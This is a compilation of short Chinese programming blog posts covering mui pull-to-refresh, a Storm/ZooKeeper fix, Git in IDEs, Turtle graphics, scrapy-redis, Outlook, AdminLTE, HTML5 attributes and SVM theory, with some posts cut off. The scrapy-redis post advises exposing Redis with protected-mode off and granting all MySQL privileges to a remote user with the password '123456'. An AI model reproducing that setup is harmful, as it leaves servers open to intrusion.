mui是h5十大框架之一。很好用,但是针对不同的场景,文档的描述不够我们理解。 场景:通过mui的上拉加载更多数据,下拉刷新回刚刚进入当前页面的状态。笔者设置每次上拉就清空旧页面的内容,把新加载的10条数据渲染到页面上,当下拉时候,恢复到第一次加载的状态。 问题:当上拉加载的数据达到最多时候,通过 mui('#pullrefresh').pullRefresh().endPullupToRefresh(true) 设定不让继续上拉加载。然后当下拉刷新想要回复上拉加载,采用如下: mui('#pullrefresh').pullRefresh().endPullupToRefresh(false); 测试发现,没办法恢复上拉加载的功能。 笔者也尝试了用: mui('#pullup-container').pullRefresh().refresh(true); mui('#pullup-container').pullRefresh().disablePullupToRefresh(); mui('#pullup-container').pullRefresh().enablePullupToRefresh(); 来做测试。但是只有当使用禁用和启动交互时候可以恢复,但是当刷新的时候,会自动执行一次上拉加载动作。所以这些方案都被笔者废弃了。针对上面这些,笔者又尝试如何不让mui再执行刷新动作时候不自动执行一次上拉加载动作,经过研究发现如下调用启用上拉功能的代码,就不会自动执行一次上拉加载的动作: setTimeout("enablepull",1000);//延时至少1s,小于1s就不行。 function enablepull(){ mui('#pullup-container').pullRefresh().enablePullupToRefresh(); } 上面虽然可以解决,但是笔者还是觉得不好,又尝试了一种曲线救国的方式: 设定全局变量enablepull 每次获取结果之后都判断是否还有更多数据,如果没有更多,那么enablepull=false; 这样每次上拉之前做如下判断: if (!enablePullUp) { mui('#pullrefresh').pullRefresh().endPullupToRefresh(false); mui.toast("没有更多数据了"); return; } 成功解决问题。 ------------------------ 本文来自 独行侠_阿涛 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/wltsysterm/article/details/79270537?utm_source=copy

storm部署问题:Could not find leader nimbus from seed hosts

应用程序及版本: zookeeper:3.4.5storm:1.1.1 问题出现点: 在linux系统重新部署storm集群,相关storm配置如下: storm.zookeeper.servers: - "node-01" - "node-02" - "node-03" # nimbus.seeds: ["node-01", "node-02", "node-03"] # storm.local.dir: "/export/data/storm" ui.port: 8080 supervisor.slots.ports: - 6700 - 6701 分别启动nimbus、ui、supervisor,使用jps指令,显示各项程序正常: 2346 nimbus 3130 Jps 2347 core 1996 QuorumPeerMain 2348 logviewer 但进入ui界面发现报以下错误: org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts [localhost]. Did you specify a valid list of nimbus hosts for config nimbus.seeds? at org.apache.storm.utils.NimbusClient.getConfiguredClientAs(NimbusClient.java:90) 问题原因: 由于是重新部署的storm,原先旧的storm已在zookeeper中注册了信息,只要进入zookeeper客户端将storm删除: ./bin/zkCli.sh ls / rmr /storm 重启storm集群即可。

IDEA,WebStorm,AndroidStudio使用Git提交代码到码云仓库

因为idea,webstorm,AndroidStudio同属一个公司开发,风格很是相似,并且它们使用Git托管代码的方式也是一样的。 在此记录下把本地代码提交到码云上的远程仓库步骤。 1.在码云上面新建项目,不要勾选readme文件。 2.配置Git 3.创建本地Git仓库 4.安装ignore插件,项目中的某些文件没必要加入版本控制,这里通过ignore插件来添加忽略 5. 新建.gitignore文件,如果你的项目中已有该文件,请略过此步骤。 6.添加忽略文件,可以在.gitignore文件中手动添加,也可以通过右键指定文件添加 6.本地仓库和远程仓库建立连接 远程仓库地址如下: 7.fetch 8.添加文件到本地Git仓库 9.提交代码,选择commit and push 箭头1指的是提交的快捷方式,在idea和ws中是个对号图标,在as中是个向上的箭头。 箭头2指的是要提交的内容,如果你的提交内容中显示的有忽略的文件,请看第10步。 箭头3指的是对本次提交的描述。 箭头4是提交按钮。 箭头5是提交的同时推送到远程仓库 10.之所以提交的时候没有过滤掉.gitignore文件中配置的内容,是因为你在配置忽略文件之前,把要忽略的文件已经添加到了本地的Git仓库,解决办法如下: 打开软件的命令终端,输入如下两条命令 此时再点击提交按钮,提交的内容区域应该已经没有了忽略的文件。 11.提交成功,刷新网页,可以看到代码已经提交了上来。此时,你可以选择添加readme文件。 12.更新 idea和ws中是左下的箭头图标,as中是向下的箭头图标 更新完成后可以看到刚刚添加的readme文件已经出现在项目中了 好了,到此代码托管已经完成,不用担心哪天电脑罢工导致项目丢失了。 

Python绘图Turtle库详解

Turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x、纵轴为y的坐标系原点,(0,0)位置开始,它根据一组函数指令的控制,在这个平面坐标系中移动,从而在它爬行的路径上绘制了图形。 turtle绘图的基础知识: 1. 画布(canvas) 画布就是turtle为我们展开用于绘图区域,我们可以设置它的大小和初始位置。 设置画布大小 turtle.screensize(canvwidth=None, canvheight=None, bg=None),参数分别为画布的宽(单位像素), 高, 背景颜色。 如:turtle.screensize(800,600, "green") turtle.screensize() #返回默认大小(400, 300) turtle.setup(width=0.5, height=0.75, startx=None, starty=None),参数:width, height: 输入宽和高为整数时, 表示像素; 为小数时, 表示占据电脑屏幕的比例,(startx, starty): 这一坐标表示矩形窗口左上角顶点的位置, 如果为空,则窗口位于屏幕中心。 如:turtle.setup(width=0.6,height=0.6) turtle.setup(width=800,height=800, startx=100, starty=100) 2. 画笔 2.1 画笔的状态 在画布上,默认有一个坐标原点为画布中心的坐标轴,坐标原点上有一只面朝x轴正方向小乌龟。这里我们描述小乌龟时使用了两个词语:坐标原点(位置),面朝x轴正方向(方向), turtle绘图中,就是使用位置方向描述小乌龟(画笔)的状态。 2.2 画笔的属性 画笔(画笔的属性,颜色、画线的宽度等) 1) turtle.pensize():设置画笔的宽度; 2) turtle.pencolor():没有参数传入,返回当前画笔颜色,传入参数设置画笔颜色,可以是字符串如"green", "red",也可以是RGB 3元组。 3) turtle.speed(speed):设置画笔移动速度,画笔绘制的速度范围[0,10]整数,数字越大越快。 2.3 绘图命令 操纵海龟绘图有着许多的命令,这些命令可以划分为3种:一种为运动命令,一种为画笔控制命令,还有一种是全局控制命令。 (1) 画笔运动命令 命令 说明 turtle.forward(distance) 向当前画笔方向移动distance像素长度 turtle.backward(distance) 向当前画笔相反方向移动distance像素长度 turtle.right(degree) 顺时针移动degree° turtle.left(degree) 逆时针移动degree° turtle.pendown() 移动时绘制图形,缺省时也为绘制 turtle.goto(x,y) 将画笔移动到坐标为x,y的位置 turtle.penup()

Qt5.9输入一个符号反斜杠"\"问题

在Qt5.9用Creator编写C/C++程序时,当需要一个QString类型的反斜杠符号时,不能直接输入反斜杠符号"\",而是需要输入双反斜杠符号"\\"。 参考内容: https://blog.csdn.net/chengdongyuan/article/details/53409540(参考:Windows反斜杠)

python 爬虫——部署scrapy-redis分布式爬虫及部署分布式爬虫后但是只能单机运行原因

1准备 :redis数据库,Python的scrapy-redis包,[mysql数据库]redis安装目录下redis.windows.conf 配置文件修改bind 0.0.0.0[或局域网内,外网的IP地址] protected-mode no 2配置scrapy settings文件设置设置 SCHEDULER = "scrapy_redis.scheduler.Scheduler" DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter" ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300, # '其他' } REDIS_HOST = '192.168.216.94' REDIS_PORT = 6379 [如果需要密码则REDIS_PASSWORD=""] 3修改Spider 文件: spider 文件里导入from scrapy_redis.spiders import RedisSpider,并且让爬虫类继承RedisSpider 取消start_urls,并在spider文件中设置redis_key ='你的redis的表名' class JobboleSpider(RedisSpider): name = 'jobbole' allowed_domains = ['jobbole.com'] # start_urls = ['http://blog.jobbole.com/all-posts/'] # lpush jobbole:start_urls http://blog.jobbole.com/all-posts/ redis_key = 'jobbole:start_urls' 4.运行 开启服务(如没配置redis环境变量需进入redis安装目录下)shift键+鼠标右键打开命令行,输入redis-server redis.windows.conf 如启动时遇见错误可以试一下redis-cli(如果bind的是127.0.0.1就可以不需要-h参数,其他地址就不行,如果) 然后shutdown,再次redis-server redis.windows.conf启动服务。 换其他机器测试(其他机器不必打开redis服务)cmd下redis-cli -h IP,连接成功表示成功,然后传输源代码,如果cmd能连接上redis但是运行scrapy时候却报类似"拒绝"这种服务可以先检查settings中redis的参数是否是因为没有密码而有中括号中的redis://[root@IP:port].如果没密码去掉中括号内的字符即可。 (如果需要配置远程mysql服务器的话需要现在mysql中设置一个可以远程登录的账号:创建用户create user myroot identified by '123456';赋予权限grant all privileges on *.

Microsoft Outlook无法启动,无法打开此文件夹集合,无法访问文件xxxxx.ost的解决办法

启动Outlook时提示错误: 无法启动 Microsoft Outlook。无法打开 Outlook 窗口。无法打开此文件夹集合,无法访问文件xxxxx.ost。至少须跟 Microsoft Exchange 连接一次,才能使用 Outlook 数据文件(.ost)。 解决办法: 打开控制面板--邮件,点击显示配置文件。 默认始终使用配置文件outlook,由于此文件出现异常导致不能打开Outlook,选中后删除,点击确定退出。 再次打开Outlook会提示新建配置文件,输入配置文件名后点击确定,按提示进行配置后即可打开Outlook。

adminLTE使用中遇到的难点

修改form缩放展开图标 <script> // 在引入js之前更改配置 var AdminLTEOptions = { boxWidgetOptions: { boxWidgetIcons: { //Collapse icon collapse: 'fa-angle-down', //Open icon open: 'fa-angle-right', //Remove icon remove: 'fa-times' }, boxWidgetSelectors: { //Remove button selector remove: '[data-widget="remove"]', //Collapse button selector collapse: '[data-widget="collapse"]' } } }; </script> <script src="<%=basePath%>/adminlte/dist/js/app.js"></script> <script src="<%=basePath%>/adminlte/dist/js/app.min.js"></script> 结合chart.js,显示图标,导出图片 chart.js 不提供任何方法来导出成图片格式。但是因为 chart.js 使用 Canvas 画布来构建图表,因此可以使用 Canvas 画布的功能来输出图表到图片。 <a id="link1" download="CHARTJS.jpg" class="btn btn-default btn-xs"><i class="fa fa-share-square-o "></i>&nbsp;导出</a> <div class="chart"> <canvas id="lineChart" style="height:250px"></canvas> </div> <script> $(function () { var lineChartData = { labels: ${hours}, datasets: [ { label: "

H5属性变化2(表单属性autocomplete、autofocus、multiple和其他属性)

autocomplete属性:默认on。退出之后输入内容消失,双击有记录。 <form action="9.html" autocomplete="on"> <input type="text" name="text"/> <input type="submit"/> </form> autocomplete可以放在form上面也可以放在input上面。 <form action="9.html" autocomplete="on"> <input type="text" name="text"/> <input type="email" name="email" autocomplete="off"/> <input type="submit"/> </form> autofocus属性:不用用户按鼠标就可以直接聚焦。适用于所有<input>标签的类型。 <input type="text" name="text" autofocus="autofocus"/> multiple属性:输入域中可选择多个值。适用于Email和file. <input type="file" multiple="multiple"/><!--可以上传多个文件--> <input type="email" name="email" multiple="multiple"/><!--可以加多个Email,用;隔开--> placeholder属性:适用于<input>标签type属性值为text、search、url、tele、email、password。 required属性:适用于<input>标签type属性值为text、search、url、tele、email、password、date pickers、number、checkbox、radio、file。 其他属性: 链接属性: sizes: <!--根据不同的分辨率引用不同的size来控制清晰度--> <link rel="icon" href="icon.gif" type="image/gif" size="16*16"/><!--gif、png、gif--> target: <!--base标签写在<head></head>标签内--> <base href="http://localhost/" target="_blank"/><!--不加target属性默认_self--> 超链接: a:media=""(表示对设备进行优化,handheld对“手持”设备进行支持,tv对“电视”设备进行支持) a:hreflang="zh"(设置语言,这里设置的是中文) a:rel="external"(设置超链接的引用,外部链接) script标签的属性: defer:加载完脚本后并不执行,而是等整个页面加载完之后再执行。只能在IE浏览器下运行。 <script defer="defer" src="URL"></script> async:记载完脚本后立刻执行,不用等整个页面都加载完,属于异步执行。兼容一切主流的浏览器。 <script async="async" src="URL"></script> ol:有序列表。 start:从几开始。reversed倒序。

支持向量机的原理

一、什么是支持向量机 支持向量机(support vector machine,简称SVM)是一种基于统计学习理论的新型学习机,是由前苏联教授Vapnik最早提出的。与传统的学习方法不同,支持向量机是结构风险最小化方法的近似实现。这个归纳原理是基于这样的事实,学习机器在测试数据上的误差率(即泛化误差率)以训练误差率和一个依赖于Vc维数(Vapnik-Chervonenkis dimension)的项的和为界;在可分模式情况下,支持向量机对于前一项的值为零,并且使第二项最小化。因此,尽管支持向量机不利用问题的领域知识,在模式分类问题上,仍能提供好的泛化性能,这个属性是支持向量机特有的。其实现的是如下的思想:通过某种事先选择的非线性映射将输入向量x映射到一个高维特征空间z,在这个空间中构造最优分类超平面,从而使正例和反例样本之间的分离界限达到最大。从概念上说,支持向量是那些离决策平面最近的数据点,它们决定了最优分类超平面的位置。 二、支持向量机的原理 超平面和最近的数据点之间的间隔被称为分离边缘,用P表示。支持向量机的目标是找到一个特殊的超平面,对于这个超平面分离边缘P最大。在这个条件下,决策曲面称为最优超平面。下图是二维输入空间中最优超平面的几何结构。 基本上,支持向量机的思想建立在两个数学运算上,概述如下 1) 输入向量到高维特征空间的非线性映射,特征空间对输入和输出都是隐藏的 2) 构造一个最优超平面用于分离在上一步中发现的特征。 三、支持向量机的算法 比较经典的如 1)Vapnik提出的Chunking方法;其出发点是删除矩阵中对应Lagrange乘数为零的行和列将不会影响最终结果,然而,在训练集的支持向量数很大的时候,Chunking算法仍然无法将矩阵放入内存中。 2)Qsuna提出的Qsuna算法;该算法存在效率问题,因为在每一步中,进行一次QP问题的最优化只能使一个样本符合Kuhn-Tucker条件。 3)Plat提出的序贯最小优化方法(sequential minimal optimization,简称SMO);将一个大型的QP问题分解为一系列最小规模的QP子问题,即仅具有两个Lagrange乘数的QP问题,从而使得原问题可以通过分析的方法加以解决,避免了在内循环中使用数值算法进行QP最优化。该算法在训练线性SVM时,可以获得非常好的性能。 四、支持向量机的几种内积核函数 1)多项式学习机 2)径向基函数网络 3)两层感知器